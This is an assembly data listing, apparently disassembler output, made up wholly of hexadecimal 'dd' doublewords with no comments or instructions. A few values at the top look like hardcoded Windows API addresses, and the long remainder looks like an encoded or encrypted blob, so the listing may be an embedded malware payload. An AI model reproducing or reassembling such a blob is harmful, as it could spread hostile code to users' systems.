		dd 5E073A7Fh, 890Fh, 0A8B0000h,	0AE8h, 75CEE200h, 0D1BBF57Dh
		dd 81FA9C6Ch, 81A97CD8h, 0C1815F4Ch, 489062B7h,	0E981FAB7h
		dd 5E741EE0h, 8B0Fh, 0E9810000h, 299060B9h, 9B9D43BBh
		dd 28F5175h, 4820Fh, 0B8660000h, 0EA83B744h, 0F3816604h
		dd 0F4EA92Eh, 0FFFFAD85h, 0B86653FFh, 0E95B2CA9h
		dd 0ECh, 0
		dd 77E7AC37h, 77E75CEBh, 77E73C49h, 77F7E21Fh, 77F7E300h
		dd 77E60000h, 2, 5 dup(0)
		dd 77E7A5FDh, 2Ch dup(0)
		dd 6, 0BBD6EF17h, 1609EDFAh, 3211A290h,	0DBEC6688h, 3215664Fh
		dd 456849E1h, 813BCBDAh, 0B173B5F5h, 3C1B47F9h,	3B606624h
		dd 3DD0DB92h, 46156086h, 0B946365Dh, 3604DEE2h,	0B79C6611h
		dd 341B7B15h, 9A79FBC9h, 0E1EA6032h, 8F963E4Ah,	341B694Dh
		dd 62021244h, 3604DE71h, 0B79C6611h, 341B7B15h,	974EFBC9h
		dd 0E1EA6032h, 37FC3E4Ah, 0B8156688h, 0F7743829h, 36F9E7DAh
		dd 0BB156611h, 0CB4D428Ch, 0B1F1DBC7h, 3D156037h, 32152995h
		dd 0B7989F88h, 3400177Ah, 29D1E642h, 3DC59970h,	3215720Dh
		dd 3BFC0644h, 2156622h,	0ABCE27D9h, 0C8B2AE6Eh,	55B6DD22h
		dd 5C90EB43h, 52137360h, 3213EC87h, 0B91A6644h,	32156622h
		dd 321563F8h, 5E0EAA88h, 0CD74BA6Ah, 339469F2h,	0CB156611h
		dd 1D04E34Eh, 0CB43604Ah, 9AAD344Ah, 3D75938Dh,	3215600Bh
		dd 329F6944h, 53156622h, 3E28D3EEh, 0B01A6086h,	32156659h
		dd 3202E62Dh, 20FC6611h, 58156688h, 0CADEE210h,	0E430B0A5h
		dd 7DEC29FAh, 4EB30CAFh, 4690EB64h, 5213774Dh, 321572F9h
		dd 10CC9288h, 0BA8A9DF0h, 0CC30083Dh, 0C1D391FAh, 47FF1FAh
		dd 32976943h, 6C156622h, 6D4F3141h, 3DC599E9h, 321579CEh
		dd 20FC0622h, 34156611h, 0C7E6794Bh, 4D7A6095h,	0C282FE0Ah
		dd 66B2242Fh, 3297694Bh, 53156644h, 3E34E3ABh, 0B91A601Fh
		dd 32156689h, 8B90A1BCh, 32136835h, 3D156611h, 32156803h
		dd 321C8F44h, 59496622h, 8278BAEh, 52BAA5DEh, 321575ADh
		dd 5C894622h, 0F19FE075h, 4E00AC4Bh, 2866427Dh,	5CC3C87Bh
		dd 0B7D307E9h, 341B4999h, 321C8F01h, 4AFC6622h,	63C80442h
		dd 5A433504h, 0BC670F2Dh, 321574CBh, 40EAC411h,	1ED0B843h
		dd 1D56DB8Ch, 0E06FEFDFh, 0CB620102h, 2BE0D377h, 26FC604Ah
		dd 24156622h, 0DA6197F6h, 0BEFD1F69h, 9E28E37Ch, 8830C451h
		dd 0DB258E4Ch, 3215669Bh, 0A122E7Bh, 4CE255D4h,	8FBE85E6h
		dd 367FFBBCh, 0BFD1F9A3h, 3C2ECBA7h, 35956917h,	52156688h
		dd 0DB9594CFh, 0E2EA07A3h, 309D6971h, 84156688h, 0B8DFE757h
		dd 537FDB05h, 1FD4E398h, 38FC6086h, 0DB156644h,	0A14F4AADh
		dd 2EC6956Ch, 3C9B69E8h, 0DB156644h, 3215662Bh,	0C7A814A0h
		dd 1061873h, 2390A0A6h,	7113680Dh, 594B0EE9h, 3D75FAEFh
		dd 321573CCh, 32058F22h, 8AC6611h, 0D75C5F03h, 0C78D80EDh
		dd 2802AF4Ah, 45A594E4h, 0C7A099E9h, 5213685Dh,	0B9C5D12Dh
		dd 0B79807C6h, 341B5D25h, 3214E54Bh, 0CDE96622h, 3C9B69C1h
		dd 0DB156688h, 3215664Dh, 58FDB1F3h, 396C64B0h,	0FE90EFA9h
		dd 0CB1373C7h, 1D04E3E4h, 3D41601Fh, 3215670Ah,	1B7D9344h
		dd 0DBFB044Ah, 3215661Dh, 0E0A40B5h, 0BA550844h, 3DFFA774h
		dd 2BE0D3EEh, 0BFE96086h, 3C2ECBC1h, 0B3730624h, 80E00BD8h
		dd 0E2EA072Ch, 321EE14Bh, 34FC6622h, 16156611h,	54AEA293h
		dd 0E290EF40h, 0DB1373A1h, 32156616h, 68C53E84h, 0F4B9A4FBh
		dd 3C3A77A7h, 26FC2317h, 1F156688h, 6C89565Ch, 12B54620h
		dd 8AFD738Fh, 0AD823B2Bh, 5AA39FB0h, 0E8755EE0h, 3210EE1Eh
		dd 0B9756688h, 0CD749F92h, 3C0C9397h, 321A8F17h, 82346688h
		dd 0DDEAD375h, 83D50DEDh, 0BD980707h, 9F90EB88h, 5213687Fh
		dd 0F0A33F73h, 0DBC59970h, 32156681h, 16EB926Ah, 0F18FB2DCh
		dd 0E690EFC2h, 0DB13730Bh, 32156649h, 6F0A6B8Ah, 0EEDEEE2Ah
		dd 7608273Ah, 321D8FDFh, 0D5CC6622h, 0B3E68DCBh, 8F96D17Dh
		dd 341B6B3Dh, 39906922h, 3D156610h, 32157007h, 32048F44h
		dd 0E5EE6622h, 0D07DEEF3h, 769C692Bh, 0BC428393h, 0F4CE7F9Ah
		dd 3C3A7794h, 0B41A238Eh, 32156652h, 321577CBh,	0D9EAB711h
		dd 8D34B52Eh, 38736FC7h, 596739B6h, 0B47D0354h,	52EF46F6h
		dd 3E49D922h, 0CD74EA94h, 3C0C93A4h, 321E8F8Eh,	404C6644h
		dd 84C4A3B7h, 6A557852h, 9F90EBACh, 3D13687Fh, 32157AA7h
		dd 26FD0611h, 28156688h, 43FB3369h, 92AC1D1h, 66D32833h
		dd 0D522058h, 6A97375Fh, 3DC59943h, 32156799h, 0B79C9A88h
		dd 3400E59Ch, 3214EC2Dh, 3DED6611h, 32157204h, 321A8F44h
		dd 81D86622h, 822E03DBh, 30E7B1C3h, 6DFFD7A8h, 2390A02Ah
		dd 7E13683Eh, 3212EE87h, 0B71A6644h, 32156623h,	0F17D9AE9h
		dd 0C7F54058h, 2BE0D3BBh, 34FC602Ch, 59156611h,	0FF53403Ah
		dd 9F90EB03h, 0CB136819h, 0BBE0B6EEh, 2796BA0Dh, 0C1FC9A42h
		dd 0DB156622h, 3215661Bh, 2243EFA9h, 270FD15Ah,	0B7D3E32Eh
		dd 341B4900h, 3DFC06DAh, 6E156644h, 83B243C3h, 9B185CC2h
		dd 0A6045A16h, 5A749FB8h, 8E5F822Fh, 0C2AA6971h, 3216E887h
		dd 0B9736644h, 87EA07DCh, 341B7D70h, 9F90EB70h,	3D13687Fh
		dd 321567AAh, 0E2EA9311h, 32078F7Dh, 0F4076644h, 0BBE92202h
		dd 0C03622Ah, 0F0D8C520h, 6DFAE966h, 0B1CDE3ABh, 52E96004h
		dd 3210E587h, 0CCAC6644h, 64625BB7h, 6CDDD11Eh,	2390A0E9h
		dd 6013686Bh, 785D0EDAh, 21FCC05Dh, 6B156688h, 0B50815Eh
		dd 8ABE4611h, 0A5DC8E9Dh, 0D640E5A3h, 87EAEA55h, 341B7D43h
		dd 3213E31Eh, 54756688h, 53E99CCFh, 9B8E3AFh, 20FC601Fh
		dd 17156688h, 4F719D8Fh, 8126948Ch, 0AC009A41h,	0A43DEBF8h
		dd 0DBC5994Ch, 32156629h, 7B7761C3h, 84A36C30h,	0BB356C8Eh
		dd 2796BAA7h, 0B7D39F17h, 341B4999h, 2D9D6916h,	3D156622h
		dd 32157F96h, 32018F88h, 43CB6644h, 89002561h, 3F3BF9A0h
		dd 0B837F95Dh, 3EA89503h, 0D87D3F8Fh, 3DE824A5h, 3215730Bh
		dd 32058F44h, 0DC066622h, 0A9BB156h, 0A0E49BAFh, 0EC1F36F5h
		dd 87EA2FD4h, 341B7FE4h, 32157661h, 0DD7B6F44h,	809F79E6h
		dd 4C6DA81Eh, 0FD93057Ah, 9F90EB5Ch, 3D136819h,	32156A91h
		dd 349A6988h, 3D156644h, 321566A0h, 32078F11h, 0EC7E6688h
		dd 3B059121h, 0BE1B2787h, 0D2BF177h, 7535D900h,	0B375B6BBh
		dd 719382FCh, 53D3ED62h, 216CE301h, 8B75604Ah, 148F770Ah
		dd 2390A070h, 451368A7h, 32156AADh, 0B7C5CF22h,	6B107954h
		dd 319070Fh, 9AB60E1Dh,	527595B5h, 0F99F3C42h, 321D8FE9h
		dd 77106644h, 0F38D34BDh, 0CD745345h, 3C25573Dh, 3A936942h
		dd 3D156622h, 3215649Ah, 0BF740688h, 3C2ECBC1h,	54EC0624h
		dd 0CD74B79Ah, 32048F58h, 0C1CD6644h, 1C7BCFEh,	3379C282h
		dd 17FFD1E6h, 0BB94EF36h, 3C25EFA7h, 0B7D39E17h, 341B4999h
		dd 339E6916h, 0CA156622h, 35FCE671h, 53EDD187h,	0EF24712Ch
		dd 321E8FA8h, 0C2876611h, 37AB9AEBh, 7CB96476h,	0C7A0994Ah
		dd 52136808h, 321EE587h, 34FC6644h, 0B8156622h,	0FB238245h
		dd 219E698Dh, 0DA156644h, 3215662Fh, 0C633B6E5h, 169FA7FEh
		dd 0E9D8740Eh, 0BF743FA7h, 3C2ECB94h, 32198F8Eh, 7CAB6644h
		dd 0FA277DA8h, 5D4E1862h, 0E2EA07B2h, 321D8E24h, 0D95D6622h
		dd 0FDA6C6D8h, 0E8957967h, 8C733D7Ah, 0BB7433C0h, 3C06EB94h
		dd 38FD068Eh, 0CC156644h, 72146039h, 0DEA27634h, 6990D79Ch
		dd 32138F14h, 0DF156622h, 9EE7974Ch, 0B7D307D2h, 341B4955h
		dd 3D9A6974h, 0DB156611h, 32156682h, 8693E0FCh,	688E32DDh
		dd 0BE1A4719h, 3215669Dh, 321576ADh, 0FD117422h, 0E6147427h
		dd 7C9AFD4Fh, 1F053D4Dh, 5F2C0EC1h, 0CDE0B20Eh,	3C195B3Dh
		dd 0B7989A42h, 34040956h, 321576F8h, 4AB4A688h,	0C9E2E09Fh
		dd 0BF6FF4D2h, 304E550Bh, 0DBC59973h, 32156649h, 6A7C706Bh
		dd 0D282EE16h
		dd 211832D1h, 32018FCCh, 72856622h, 69A798CBh, 0B95FC96Bh
		dd 7A94FAEDh, 5EC6E58Bh, 0B79CDD57h, 341B5535h,	0C19E0024h
		dd 3A9C6943h, 52156611h, 3DECEDEEh, 0F474BCFBh,	3C3A77A7h
		dd 3DE02117h, 32156202h, 0CBED0644h, 226F0E43h,	0CDE9E7CDh
		dd 3C0C933Dh, 37966942h, 52156622h, 534E36E8h, 9B8E305h
		dd 0B975604Ah, 321B8FE9h, 28026611h, 8DFD947Dh,	7B4BA384h
		dd 4A3DB98Eh, 52C59970h, 32156360h, 4D478244h, 32AA86B7h
		dd 6C136A6Fh, 3217E287h, 68446644h, 5F90EF43h, 0DB136819h
		dd 32156687h, 0ACF81589h, 6B836D3Ah, 715322E3h,	0F47FD166h
		dd 3C3A77C1h, 54752124h, 8BE2AE90h, 3210EE87h, 0B3736644h
		dd 5377EAFDh, 3DA08479h, 3D966902h, 0DB156644h,	32156628h
		dd 432197B6h, 17EAADD1h, 87EA15B1h, 341B7FD7h, 9F90EBE4h
		dd 3D1368B3h, 321560C5h, 9BA50622h, 0CD743843h,	0B79C9A58h
		dd 3400E5B8h, 3207ED2Dh, 3FFC6611h, 0A1156688h,	0C6E876CFh
		dd 8A9D74A5h, 1E5A9E52h, 2F24E34Fh, 326D604Ah, 0B51A6622h
		dd 32156605h, 32156961h, 7152F44h, 855DA994h, 2A5F6C85h
		dd 0A5A9459Fh, 1B84DBC7h, 3D15602Ch, 320FF795h,	32018F88h
		dd 15216644h, 0F760E05Bh, 0A482CE0h, 0D1E30E04h, 1694069Ch
		dd 0B7D3C9D9h, 341B4900h, 0CA4606C4h, 0DB7D071Ch, 52CCBC3Eh
		dd 8D1AAD9Bh, 87EA077Fh, 341B7FB1h, 321D8FDBh, 40AC6611h
		dd 744846BDh, 0B798124Eh, 341B5D8Fh, 321569F8h,	0A56C2088h
		dd 0C500619Fh, 8904ABE2h, 7FB3DBECh, 0BF1AB677h, 32156652h
		dd 3205EA2Dh, 39FC6611h, 13156688h, 0C3DA3310h,	26BBC18Eh
		dd 0B79C8950h, 3400E560h, 2390A0B8h, 7E13680Dh,	32156BF8h
		dd 0A0B18F88h, 56767EC2h, 0CFC92A07h, 0B71A9EB9h, 32156689h
		dd 0ECDB0EBDh, 0DB75BB56h, 32156617h, 0D0133C59h, 3EFCC725h
		dd 7D156622h, 0DA976E44h, 5FF107E7h, 5375928Ch,	2BE0D3DDh
		dd 38FC601Fh, 0EB156688h, 1ADD3745h, 130E8969h,	9F90EBE6h
		dd 521368B3h, 0CC7089C5h, 26FC7589h, 0E4156611h, 0E36594E5h
		dd 0CDA8EA7Fh, 0EF07C05h, 0FD647497h, 53044DD5h, 0BBE0B6BBh
		dd 27968AA7h, 2B9B6917h, 52156688h, 3DFD0724h, 5D156622h
		dd 124E9F92h, 0AC1CAD8Bh, 5339EAD8h, 534E81E9h,	1D04E3D7h
		dd 0DB596086h, 3215664Fh, 0FCBE1861h, 501FFA8Dh, 5AA434E6h
		dd 8594E47Bh, 0C7A099DBh, 3D136808h, 32156704h,	0B7989A44h
		dd 341B5D8Fh, 59AB0071h, 53E2D246h, 0CAC599B1h,	0B1E5E3ABh
		dd 0CB756004h, 0F474443Ch, 3C3A77C1h, 20FC2A24h, 68156611h
		dd 0C34F7C92h, 631B8A35h, 9E2ED73Dh, 0A86DCCA0h, 720D0E67h
		dd 0CBE9D56Bh, 2BE0D3DDh, 0B01A601Fh, 32156699h, 32156AADh
		dd 19E8222h, 0AB1B226Bh, 0C4B3F29Bh, 9F90EB25h,	52136819h
		dd 0F8A269E4h, 0DBC599E9h, 3215664Ch, 31856E01h, 83321AEAh
		dd 0B1E5E301h, 0DBE06051h, 3215662Ah, 8D7E3AB5h, 642F5465h
		dd 1D04E382h, 3D53602Ch, 32156C9Dh, 32108F88h, 586B6644h
		dd 5A14B3C5h, 88CB6005h, 32156F61h, 0A9062044h,	8B624D29h
		dd 87EAA4DFh, 341B7F7Dh, 321FEF4Bh, 3D756622h, 3215669Ah
		dd 534E3588h, 9B8E3C9h,	0DB75602Ch, 32156618h, 35B26D4Fh
		dd 2C96B8A5h, 0CD749F22h, 32058FC1h, 0A1926688h, 104C805Ch
		dd 3E624E16h, 497574FEh, 0DA75D9BDh, 32156656h,	110F3B2Eh
		dd 22933C40h, 2A2B6066h, 7299F6EFh, 0B94B4E24h,	0B79C07E3h
		dd 3400E570h, 321576ADh, 0F3313122h, 5F442AB9h,	0FF50257Bh
		dd 0DD4E380h, 2390A0F7h, 7513683Eh, 226F0E71h, 0B91AE798h
		dd 32156623h, 0C7A099EDh, 52136891h, 0FC959FCFh, 0B7980714h
		dd 341B5DBCh, 32157661h, 9DD97244h, 80D915Fh, 0B761EAF5h
		dd 3C9316B9h, 3DC5998Fh, 32156EA0h, 309B6911h, 52156688h
		dd 3290EF25h, 521373A6h, 3210E01Eh, 0B3736688h,	5466A18Ch
		dd 802F81A3h, 2390A070h, 751368A7h, 0C6AA0624h,	0DB075CEEh
		dd 3215661Eh, 9E8302B6h, 0B75742C6h, 0EA1659DDh, 532C5B91h
		dd 5A74D03Bh, 0DD92E8E8h, 32128E42h, 0B0986611h, 0DDAA3B73h
		dd 69E5ED4Bh, 964EA1A3h, 0CD745A70h, 3C0C933Dh,	28956942h
		dd 52156622h, 0A2A2D877h, 32156860h, 572C8944h,	7902168Ah
		dd 0A759EA2Dh, 6DCC3FB7h, 9F90EB25h, 0DB136819h, 32156601h
		dd 0BD76575Eh, 999255C2h, 85233CC3h, 0D6D1C053h, 3AFCB677h
		dd 0F1156644h, 0ECCFC678h, 0BBEABA97h, 2791620Dh, 22FC0642h
		dd 0A156622h, 0BC1FC6FBh, 952D687Dh, 0BBBC78EEh, 5282094Ch
		dd 0B3DED91Eh, 0DA447540h, 0F4740765h, 3C3A77A7h, 0B3752117h
		dd 5822CE66h, 0C094002Dh, 5A741C02h, 0E68FC1C3h, 32156B61h
		dd 0D5270E44h, 0E600F48Fh, 783B941Ah, 87EAEE4Ch, 341B7FB1h
		dd 9F90EBDAh, 3D13682Ah, 32156A0Fh, 32128F44h, 51F36622h
		dd 28B819CBh, 3DC5995Bh, 32157FCCh, 22FC0622h, 0A3156611h
		dd 6E46F4E3h, 0B075E54Ch, 0E18D42F2h, 529B9AC2h, 0B79C07E9h
		dd 3400E24Ch, 2390A0DBh, 7513683Eh, 32078FE8h, 59256644h
		dd 3A784221h, 17EFD39Bh, 5F2BB38Ah, 38EF1ECEh, 533981A2h
		dd 0F32C6279h, 87EA9E32h, 341B7FB1h, 3214E12Dh,	0BFE06611h
		dd 3C2ECB0Dh, 38956942h, 52156622h, 8F960AAh, 0C4A2699Ah
		dd 52C59925h, 53EAD12Dh, 0A6D0E671h, 5676AC09h,	0BB740F37h
		dd 27916AA7h, 26FC9F17h, 90156688h, 0E980B69Dh,	459797AFh
		dd 7A9C0D97h, 30DE40A9h, 0B139F64Fh, 3C0A539Fh,	0B71A6617h
		dd 32156614h, 32156CADh, 55909C22h, 0CE8222D8h,	0F465881Ah
		dd 3C3A77C1h, 60752124h, 5375354Ah, 557D07D1h, 0CEF51469h
		dd 0CACED042h, 0C7A09970h, 0DB136891h, 32156654h, 2BE0CDF9h
		dd 0E0D92F2Fh, 22A2026Dh, 0D749F80Dh, 0E0AD0042h, 0B3CFE60Ch
		dd 9F90EBE9h, 0CA13687Fh, 3EFCB6DDh, 9C156611h,	3FA279Ch
		dd 0E5B967FEh, 525C857Fh, 0CEDA8491h, 2290EFE9h, 3D1373C0h
		dd 321544ACh, 3EFC0611h, 32156688h, 55D9AA27h, 0A34518C4h
		dd 0DB8D6AE3h, 32156682h, 4F7CD337h, 0D0E6D063h, 0CB74F55Dh
		dd 1D04E34Eh, 5252604Ah, 32156BCAh, 88FAE211h, 10A27057h
		dd 51799B6h, 0BB1A9D03h, 32156611h, 379869D3h, 8B156644h
		dd 55D77178h, 837D9370h, 3D9B4F3Bh, 321576C3h, 321E8F22h
		dd 0C4976611h, 5B6AD0ADh, 3BA49B23h, 0C7A09956h, 0DB136808h
		dd 32156683h, 339D2753h, 0D1C30B50h, 0BFBB89E9h, 3C2ECB0Dh
		dd 2A976942h, 0DB156622h, 32156602h, 7B71E16Eh,	0A19F43Eh
		dd 0DDBAA27h, 43189409h, 0CDE32CD8h, 0E2940694h, 18D58736h
		dd 32156EF8h, 0CF7B4188h, 14933EF6h, 0B79C07F0h, 3400E205h
		dd 0E4CAE7E8h, 0B82EF898h, 0B7D307D8h, 341B4900h, 957D9ACBh
		dd 3DD5100Eh, 321577A4h, 32198F11h, 33BE6688h, 71C6EE77h
		dd 9E47EDC7h, 0CDE9B86Fh, 3C0C933Dh, 239E6942h,	0DB156622h
		dd 3215661Dh, 3AAEE0CFh, 593CA5FCh, 0E3F250A8h,	9B8E39Ch
		dd 3D756086h, 3AFD99F3h, 0C3156622h, 143CD2F9h,	0C7F8994Bh
		dd 3D75071Fh, 321564AEh, 0C778D411h, 52C599E9h,	3210E04Bh
		dd 40AE6622h, 0B31CF2FDh, 67772152h, 0B79C0771h, 3400E23Ah
		dd 32198E71h, 0DB826688h, 88536B9Dh, 13CECF52h,	544D9026h
		dd 0F474B003h, 3C3A77C1h, 0B21A2A24h, 32156609h, 32157561h
		dd 0DD45DA44h, 0F8334874h, 953B3F8Bh, 3ADF1AF8h, 0BD4C1B75h
		dd 3CFC9F42h, 40156611h
		dd 744846BDh, 77FE124Eh, 0CCC4FBC7h, 0D97D07EEh, 3DEE00E4h
		dd 321576C0h, 321E8F22h, 72AF6611h, 344806ECh, 21FEDC27h
		dd 3A099CCh, 0DB136821h, 3215668Dh, 7FB489B5h, 33996995h
		dd 0C7156611h, 9B8E305h, 0DBE9604Ah, 32156630h,	56CB6E20h
		dd 0BB212FBEh, 0E5066447h, 4EE5A3C8h, 0E2EA1C5Bh, 9E90EF70h
		dd 0CB1373C0h, 32156ECBh, 3FF5ED11h, 49CA7EFh, 2390A020h
		dd 7613680Dh, 320CE01Eh, 0CA756688h, 321577ADh,	834EFE22h
		dd 2F7775AEh, 4C0BDF2Fh, 325F641Ch, 5A74BB4Eh, 8966E844h
		dd 32156B61h, 19C23C44h, 9E09B61h, 429593B1h, 87EAFE37h
		dd 341B7FB1h, 9F90EBDBh, 3D13682Ah, 3215730Ah, 32058F44h
		dd 0A9846622h, 69DDCCF0h, 0E5882C9h, 0C7B705EAh, 0E2EA76A8h
		dd 3200E71Eh, 3D756688h, 321566CAh, 32128E22h, 0BD6E6611h
		dd 0A5125BA6h, 0CE743DEDh, 0B609E3ABh, 0DA756004h, 32156683h
		dd 0A5417DD0h, 4D3CE92Eh, 89294C33h, 43921387h,	3099691Eh
		dd 0B9156622h, 0B7D307E2h, 341B4999h, 0DB470607h, 32156627h
		dd 1B36D407h, 851A3E03h, 0CE7D0796h, 0CBA9E84Ch, 321576F8h
		dd 0C2314E88h, 69491241h, 0E882C447h, 57F34AAAh, 0C7A09987h
		dd 0C713685Dh, 9B8E3AFh, 0B11A601Fh, 32156689h,	0DBC599B1h
		dd 32156632h, 0ABC71E23h, 0AFB9A1C7h, 0E3547816h, 1427C798h
		dd 0B635E398h, 0DB75609Dh, 32156657h, 46675882h, 3D217182h
		dd 0AD65C618h, 0CCA0B093h, 0B2D08FD9h, 0F474EEF1h, 3C3A770Dh
		dd 88753542h, 63C72290h, 321E8F71h, 0BF5E6688h,	8BF882A5h
		dd 745678A6h, 52740711h, 32157560h, 0DD45DA44h,	0F8334874h
		dd 953B3F8Bh, 3ADF1AF8h, 0BD4C1B75h, 6DD2D92Dh,	321576F8h
		dd 3C704988h, 0E449E76Ch, 0BBB789FEh, 70A9E640h, 987D0725h
		dd 52D3767Ah, 321577CBh, 7E0E8A11h, 7CAA1072h, 29B2293Dh
		dd 1745B45Bh, 3BFCD9B1h, 99156688h, 2F24CEA8h, 1FAB3256h
		dd 0C7A09970h, 3D136891h, 32156AC4h, 349B6922h,	3D156611h
		dd 3215660Bh, 851A0644h, 0EA9400D3h, 0BF74FBA0h, 3C2ECB0Dh
		dd 0B21A0642h, 32156621h, 0B9C4D91Eh, 0E2EA0743h, 3204EF4Bh
		dd 0B11A6622h, 3215661Ah, 32156061h, 2E9D3044h,	0BBBBBA25h
		dd 27914294h, 32048F8Eh, 2D456644h, 0C377B984h,	261CF778h
		dd 325CFC52h, 0B1DAD071h, 3C02A79Fh, 0B61A6617h, 32156296h
		dd 32156CADh, 33950A22h, 2DCFE52Bh, 0DB36F5C8h,	3215664Bh
		dd 2C15EAF2h, 7C5C86B6h, 0FDE4566Bh, 0F4341A99h, 3C3A77A7h
		dd 3DFC2017h, 0BB156688h, 0CE5BFEFDh, 11773759h, 9E0B51C8h
		dd 0BD1AECC2h, 32156648h, 3213EB2Dh, 0BE1A6611h, 32156688h
		dd 0A4DB572Ch, 32048FD8h, 0EE136611h, 0BB9659F7h, 0B9770FF4h
		dd 0C8C97523h, 0CDA58377h, 3C0C933Dh, 3A936942h, 3D156622h
		dd 32156499h, 0BF740688h, 3C2ECBC1h, 0E2EA9324h, 32156AF8h
		dd 6ECB9688h, 4C41D261h, 4B1D6494h, 0B290EFA0h,	5213730Ch
		dd 0E9AA6924h, 3215EA2Dh, 0DA746611h, 3215669Ah, 43A684DCh
		dd 0CB6F403Ch, 34ACF1Dh, 0DA398382h, 35FCAC2Dh,	0A6156622h
		dd 475FFF36h, 534BE059h, 2390A0BCh, 7413680Dh, 84CBED71h
		dd 0B81A0747h, 3215664Ch, 329D6942h, 53156611h,	952FB0E0h
		dd 3C9D69B8h, 52156622h, 3215E91Eh, 0F0946688h,	17FCFE90h
		dd 0C7A09943h, 0DB136808h, 32156684h, 402471E2h, 5437451Fh
		dd 24D9ABCCh, 9B8E305h,	22FC604Ah, 0C1156622h, 0D0B6EE0h
		dd 0A0693EA0h, 25E2242Ah, 0CDED61AAh, 321B8FC1h, 0F75C6688h
		dd 642797D9h, 74F1C229h, 0F011C72h, 0A290EF7Dh,	0CE1373C0h
		dd 1D04E3E4h, 0C753601Fh, 0CEB166E0h, 389269D6h, 52156622h
		dd 54E7ED77h, 0C871B709h, 0C7A09925h, 5213683Bh, 93D977h
		dd 32157561h, 9C1FA644h, 4B650CA3h, 0BAD52A18h,	6154F65Eh
		dd 0D798E171h, 9F90EB43h, 3D13682Ah, 32155508h,	21FC0644h
		dd 0B5156622h, 14AFA2FDh, 4C4DDC56h, 46274996h,	0C863E9F1h
		dd 21FDBF89h, 89156688h, 50D1B214h, 3DA5D93Ah, 54E1F0CDh
		dd 45C1E47h, 534ED060h,	321575CBh, 277D6711h, 0B2F1189Ah
		dd 0DB02480Dh, 0F117B57Bh, 428F1AAh, 0BBECB677h, 2791F2C1h
		dd 339E6924h, 0CB156611h, 1D04E34Eh, 5253604Ah,	32156FCBh
		dd 0BC102411h, 23407876h, 0A4ABCA57h, 53450183h, 0FA9E0671h
		dd 3215EB87h, 54746644h, 3FC3ADA3h, 7D7F0E70h, 0B61A905Ch
		dd 32156645h, 867506DBh, 321E8E0Ah, 985A6688h, 0DE44DBB2h
		dd 19BACCCCh, 0B974386Ah, 87EA075Fh, 341B7FB1h,	3206EC2Dh
		dd 0DB756611h, 3215668Eh, 0FF4B072Dh, 0BE1A3FEDh, 32156611h
		dd 32018FE9h, 37836644h, 0AD9F8CB8h, 7D22A650h,	4846561Dh
		dd 0CF027420h, 0B7984C43h, 341B5DBCh, 309069E8h, 87156644h
		dd 0F59E009Fh, 0CBC59970h, 0B68DE301h, 34FC6051h, 6D156622h
		dd 0E27ED9E8h, 2390A05Fh, 7413686Bh, 321572CBh,	0BB0C4011h
		dd 2D25F7F6h, 1B64C202h, 0DBECF7DBh, 91AB94EAh,	62F20E83h
		dd 0B21AF289h, 32156623h, 0C7A099EDh, 0CB136891h, 9B8E3C9h
		dd 22FC602Ch, 0B0156611h, 1653F911h, 48666242h,	471F47A6h
		dd 0CD1E9B80h, 32018F58h, 0D1D06644h, 5A6BC853h, 0A9B6A899h
		dd 68246933h, 42A72322h, 81758633h, 0E49E0038h,	0B690EFE9h
		dd 521373C0h, 0C7DFED44h, 2390A070h, 741368A7h,	32018E24h
		dd 0B2866622h, 7D4FA67Fh, 0CA2E8B76h, 5D6536D3h, 154C831Bh
		dd 89739A95h, 534D5767h, 462E0EBCh, 0CDECD700h,	3C0C93A4h
		dd 32188F8Eh, 80F06644h, 0B744D2F2h, 0FE5D28DDh, 0BF4FB18Bh
		dd 3C2ECBC1h, 3C9D6924h, 52156611h, 37FC3FDFh, 84156644h
		dd 0E8E6C8AEh, 3DC59970h, 32156A04h, 8D730644h,	0B01A27DFh
		dd 32156611h, 0BA90EFE9h, 0C71373C0h, 2390A0D7h, 7413683Eh
		dd 32157661h, 8803CE44h, 0BBA61C82h, 870A1311h,	4CC6D3F5h
		dd 0D8F80EFFh, 0B375B95Bh, 61C9D8F3h, 53BCD382h, 2BE0D3BBh
		dd 0BC1A602Ch, 32156609h, 3207E487h, 3FFC6644h,	3C156622h
		dd 40595594h, 5B074842h, 0DDCB73F8h, 9F90EBDAh,	0CA13682Ah
		dd 0B01AB677h, 32156657h, 321568CBh, 0AD43C811h, 0E10C6635h
		dd 5C219E86h, 0BB8C754Eh, 2791EA94h, 8F969F8Eh,	341B7971h
		dd 41906922h, 0CB156611h, 1D04E34Eh, 0CE46604Ah, 8CF5384Ah
		dd 87EA9FDFh, 341B7F7Dh, 3203ED4Bh, 23FC6622h, 6B156611h
		dd 0CA63FBE0h, 234598CCh, 669E81E2h, 5CDFD496h,	9B8E305h
		dd 0B71A604Ah, 3215663Ah, 321575F8h, 0F64B6088h, 0DE7F5398h
		dd 81809E7Bh, 184A9A03h, 708F8BDFh, 3D75B6BBh, 321564AAh
		dd 0DBC4ED11h, 3215668Eh, 0C3675BFFh, 0BB74943Bh, 27914E94h
		dd 0B7D39A8Eh, 341B4955h, 0B57D9A65h, 3DD2D74Fh, 32156A0Fh
		dd 34976944h, 3D156622h, 32156699h, 0C7A09988h,	3D13685Dh
		dd 321576ADh, 321E8F11h, 33166688h, 72AA0E1Fh, 783422D1h
		dd 9F90EBFCh, 3D1368B3h, 321574CCh, 32188F22h, 970D6611h
		dd 0DBF87222h, 8F474413h, 0CDF240B7h, 321E8FC1h, 0A4B46688h
		dd 9D5E0EE3h, 8EABB3A0h, 1E90EF71h, 0C713730Ch,	2D20DBC7h
		dd 3D15602Ch, 3215FE94h, 32138F88h, 7BB06644h, 0A211CBFBh
		dd 1D04E3D7h, 0DB526086h, 32156657h, 7CADABD3h,	5B46134Dh
		dd 0B665F97Bh, 0F8E279A3h, 5AA89E93h, 0D4771814h, 0C7A09970h
		dd 0DB13685Dh, 32156627h, 2FC1C1D3h, 9F90EB71h,	0DB13687Fh
		dd 32156625h, 0CE78F663h
		dd 523D4888h, 321569ADh, 0D6CE8022h, 92E0A61Eh,	69C476A7h
		dd 0F0F08E9Ch, 32068F72h, 78CA6611h, 0EE4D6E53h, 889BEF4Dh
		dd 0ECEF824Ah, 0AF45DC37h, 0CD743FA6h, 321D8F94h, 19196622h
		dd 0E41CF5B7h, 0B79C66EFh, 3400E274h, 2390A0D7h, 7113683Eh
		dd 3202E487h, 0DB756644h, 3215662Fh, 0F211BB36h, 0D14AED18h
		dd 1D072A97h, 0CB9E00D0h, 3BE30E70h, 6575F4F2h,	385836FAh
		dd 0BC1A3933h, 32156617h, 3215EB87h, 0CD746644h, 3C0C9397h
		dd 0B7989317h, 341B5D25h, 3214E94Bh, 0CDE96622h, 0B79C9FC1h
